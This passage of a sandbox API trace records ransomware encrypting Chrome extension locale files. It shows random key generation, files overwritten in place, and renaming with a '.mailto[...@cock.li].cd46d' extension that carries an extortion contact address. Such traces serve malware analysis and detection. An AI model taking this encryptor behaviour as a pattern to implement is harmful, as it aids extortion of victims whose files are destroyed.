Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" [0191.817] wcscat (in: _Dest=0xd4c9a88, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.817] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8c4f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.818] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x934e28 Thread: id = 7621 os_tid = 0x17b8 [0183.772] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json")) returned 0x2020 [0183.773] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json", dwFileAttributes=0x20) returned 1 [0189.638] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b4 [0189.638] GetFileSizeEx (in: hFile=0x14b4, lpFileSize=0x6acf8d0 | out: lpFileSize=0x6acf8d0*=170) returned 1 [0189.638] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.638] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d86e8 [0189.638] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8580 [0189.638] NtQuerySystemTime (in: CurrentTime=0x6acf830 | out: CurrentTime=0x6acf830*=132174899642350000) returned 0x0 [0189.638] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x4e1a7019 [0189.638] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x4b4b3a80 [0189.638] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x17470929 [0189.638] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x6c648952 [0189.638] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x67a0a4c1 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x33e09d32 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x561eb7cd [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0xb4ee13a [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0xb9fe500 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x7add3ef0 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x2c8c51ff [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x6d0abe73 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x76a51008 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x341216df [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x6657ab75 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x5422b636 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x5ecc448d [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x50a8bcf9 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x7beea128 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x5593550e [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x4dbe6798 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x2c5a46d [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x287ae736 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x4938aae2 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x16ae46c7 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x9f9882 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x41edc0f7 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x3b5e26ac [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x4f0efd9c [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x5339829 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x12729da6 [0189.639] RtlRandomEx (in: Seed=0x6acf83c | out: Seed=0x6acf83c) returned 0x5a03fbd5 [0189.652] ReadFile (hFile=0x14b4, lpBuffer=0x134bd158, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x6acf82c, lpOverlapped=0x0) [0189.653] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.653] WriteFile (in: hFile=0x14b4, lpBuffer=0x134c9960*, nNumberOfBytesToWrite=0xaa, lpNumberOfBytesWritten=0x6acf828, lpOverlapped=0x0 | out: lpBuffer=0x134c9960*, lpNumberOfBytesWritten=0x6acf828*=0xaa, lpOverlapped=0x0) returned 1 [0190.552] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af1b8 [0190.552] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af118 [0190.552] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af118) returned 1 [0190.552] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134c9960) returned 1 [0190.552] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134bd158) returned 1 [0190.552] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb190) returned 1 [0190.552] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2c08) returned 1 [0190.552] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6ba0 [0190.552] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.552] WriteFile (in: hFile=0x14b4, lpBuffer=0x12cf6ad0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x6acf890, lpOverlapped=0x0 | out: lpBuffer=0x12cf6ad0*, lpNumberOfBytesWritten=0x6acf890*=0x10b, lpOverlapped=0x0) returned 1 [0191.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6ad0) returned 1 [0191.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6bd0) returned 1 [0191.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af118) returned 1 [0191.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ba0) returned 1 [0191.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af1b8) returned 1 [0191.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d86e8) returned 1 [0191.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d86c0) returned 1 [0191.641] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8698) returned 1 [0191.641] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17e) returned 0xd4c8518 [0191.641] wcscpy (in: _Dest=0xd4c8518, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" [0191.641] wcscat (in: _Dest=0xd4c8518, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.641] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6acf848, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.641] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x194) returned 0x134e2e80 Thread: id = 7622 os_tid = 0x17bc [0183.773] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json")) returned 0x2020 [0183.773] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json", dwFileAttributes=0x20) returned 1 [0189.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb60 [0189.653] GetFileSizeEx (in: hFile=0xb60, lpFileSize=0x993fe28 | out: lpFileSize=0x993fe28*=210) returned 1 [0189.653] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.653] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8580 [0189.653] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d85f8 [0189.654] NtQuerySystemTime (in: CurrentTime=0x993fd88 | out: CurrentTime=0x993fd88*=132174899642506000) returned 0x0 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x7ba372bf [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x32b896fc [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x75e79c1a [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x14cb2e33 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x3942cdea [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x4230e45d [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x11fb68fd [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0xad3cf12 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x33d89ca2 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x3e8a1881 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x794d8547 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x6f7ac01b [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x217d423e [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x3f0aa2c1 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x553e9b9e [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x6504befb [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x19436653 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x3921960e [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x48a5ea39 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x727e2019 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x71d7134d [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x64c8650d [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x13e5f956 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0xfb8a00b [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x4a6e788 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x2c43b833 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x18802d59 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x2405131a [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x614f6441 [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x497600df [0189.654] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x61cb30b [0189.655] RtlRandomEx (in: Seed=0x993fd94 | out: Seed=0x993fd94) returned 0x74c7469f [0189.667] ReadFile (hFile=0xb60, lpBuffer=0x134d6168, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x993fd84, lpOverlapped=0x0) [0189.668] SetFilePointerEx (in: hFile=0xb60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.668] WriteFile (in: hFile=0xb60, lpBuffer=0x12d540e8*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x993fd80, lpOverlapped=0x0 | out: lpBuffer=0x12d540e8*, lpNumberOfBytesWritten=0x993fd80*=0xd2, lpOverlapped=0x0) returned 1 [0190.553] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af3c0 [0190.553] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aedf8 [0190.553] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedf8) returned 1 [0190.553] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d540e8) returned 1 [0190.553] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134d6168) returned 1 [0190.557] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb208) returned 1 [0190.557] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26f8) returned 1 [0190.557] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6c00 [0190.557] SetFilePointerEx (in: hFile=0xb60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.557] WriteFile (in: hFile=0xb60, lpBuffer=0x12cf6558*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x993fde8, lpOverlapped=0x0 | out: lpBuffer=0x12cf6558*, lpNumberOfBytesWritten=0x993fde8*=0x10b, lpOverlapped=0x0) returned 1 [0191.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6558) returned 1 [0191.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c30) returned 1 [0191.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedf8) returned 1 [0191.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c00) returned 1 [0191.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af3c0) returned 1 [0191.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8580) returned 1 [0191.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d85d0) returned 1 [0191.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d85a8) returned 1 [0191.642] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17e) returned 0xd4c86a0 [0191.642] wcscpy (in: _Dest=0xd4c86a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" [0191.642] wcscat (in: _Dest=0xd4c86a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.642] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x993fda0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.642] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x194) returned 0x134e31d0 Thread: id = 7623 os_tid = 0x17c0 [0183.774] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json")) returned 0x2020 [0183.774] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json", dwFileAttributes=0x20) returned 1 [0189.668] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11b4 [0189.668] GetFileSizeEx (in: hFile=0x11b4, lpFileSize=0x421f970 | out: lpFileSize=0x421f970*=176) returned 1 [0189.668] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.669] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d85f8 [0189.669] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8508 [0189.669] NtQuerySystemTime (in: CurrentTime=0x421f8d0 | out: CurrentTime=0x421f8d0*=132174899642662000) returned 0x0 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x5ac4fc58 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x1215af7b [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x5975e465 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x57f6a027 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x114c1da4 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x6601ddd6 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x166c313f [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x3eb4f141 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x627bb74c [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x384990ed [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x79591ef1 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x7a87595b [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x1a4a46a9 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x34b5e2b9 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x6a30403b [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0xd9fe96f [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x5d486e5c [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x35b5f09d [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x306aa822 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x5f7b8643 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x788ca0b4 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x3afbd5ca [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x1a8efbad [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x588ff130 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x3c4b1ba2 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x36b46a23 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x554c7783 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x30e78551 [0189.669] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x162d459c [0189.670] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x1d4d8429 [0189.670] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x89b7b8f [0189.670] RtlRandomEx (in: Seed=0x421f8dc | out: Seed=0x421f8dc) returned 0x324c3049 [0189.691] ReadFile (hFile=0x11b4, lpBuffer=0x12d608f0, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x421f8cc, lpOverlapped=0x0) [0189.692] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.692] WriteFile (in: hFile=0x11b4, lpBuffer=0x12d6d0f8*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x421f8c8, lpOverlapped=0x0 | out: lpBuffer=0x12d6d0f8*, 